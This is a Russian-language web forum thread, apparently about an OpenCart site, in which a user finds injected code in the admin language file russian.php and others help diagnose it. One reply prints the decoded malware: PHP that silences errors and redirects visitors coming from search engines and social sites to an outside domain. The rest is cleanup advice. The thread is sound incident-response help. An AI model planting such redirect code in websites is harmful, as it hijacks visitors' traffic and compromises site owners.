Перейти к содержанию
dgscom

Странный код в языковом файле russian.php

Рекомендуемые сообщения

Помогите пожалуйста!!!! Нарушилась кодировка страницы, три чем если заходить www.имя.ru прохождение по ссылкам корректно. Ошибка сверху страницы ссылалась на файл русификации. Я заменил его из резервной копии. Не помогло. Пере сохранил его в другой кодировке было utf8 без бом стало utf8. Страница стала отображаться нормально, но в админку вначале пишит барабульки, а в самой админке все нормально. При заходе пишет такую ошибку: Notice: Undefined index: HTTP_REFERER in /home/dgscom13/public_html/2e-ruki/admin/language/russian/russian.php(1) : eval()'d code on line 5. В чем может быть проблема. Файл прикрепил.

russian.php

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

замените файл на оригинал из архива движка, выставьте корректные права (644) и проверьте свой комп на вирусы.

если проблема повторится - обратитесь к хостеру, чтобы дал вам логи заходов по ftp и (по возможности) список файлов, которые были изменены.

  • +1 1

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Вот что закодировано в том файле...

error_reporting(0);
$nccv=headers_sent();
if (!$nccv){
$referer=$_SERVER['HTTP_REFERER'];
$ua=$_SERVER['HTTP_USER_AGENT'];
if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){ 
 header("Location: http://site.portrelay.com/");
 exit();
}
}
}

  • +1 2

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

замените файл на оригинал из архива движка, выставьте корректные права (644) и проверьте свой комп на вирусы.

если проблема повторится - обратитесь к хостеру, чтобы дал вам логи заходов по ftp и (по возможности) список файлов, которые были изменены.

Поясните, пожалуйста в каком файле. Извините если вопрос тупой. Сильно не пинайте.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

замените этот файл

/home/dgscom13/public_html/2e-ruki/admin/language/russian/russian.php

оригиналом из архива движка

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Мы разобрались в чем дело. В каждом файле php внесено кодирование, но если его удаляешь оно снова появляется. Ищем скрипт.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Замена этого файла приводит полностью к блокировке админки.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Сегодня мной обнаружена та же проблема на 2х сайтах. Подскажите разобрались со скриптом?

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Я всегда отвечаю на подобные вопросы..."Каково происхождение шаблона" ?? Может и нет никакого хакера.. Достаточно загрузить левый шаблон на хостинг, не обязательно опенкарт, и все.... работает на автомате по всей площадке.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Для публикации сообщений создайте учётную запись или авторизуйтесь

Вы должны быть пользователем, чтобы оставить комментарий

Создать учетную запись

Зарегистрируйте новую учётную запись в нашем сообществе. Это очень просто!

Регистрация нового пользователя

Войти

Уже есть аккаунт? Войти в систему.

Войти

  • Последние посетители   0 пользователей онлайн

    Ни одного зарегистрированного пользователя не просматривает данную страницу

×

Важная информация

На нашем сайте используются файлы cookie и происходит обработка некоторых персональных данных пользователей, чтобы улучшить пользовательский интерфейс. Чтобы узнать для чего и какие персональные данные мы обрабатываем перейдите по ссылке. Если Вы нажмете «Я даю согласие», это означает, что Вы понимаете и принимаете все условия, указанные в этом Уведомлении о Конфиденциальности.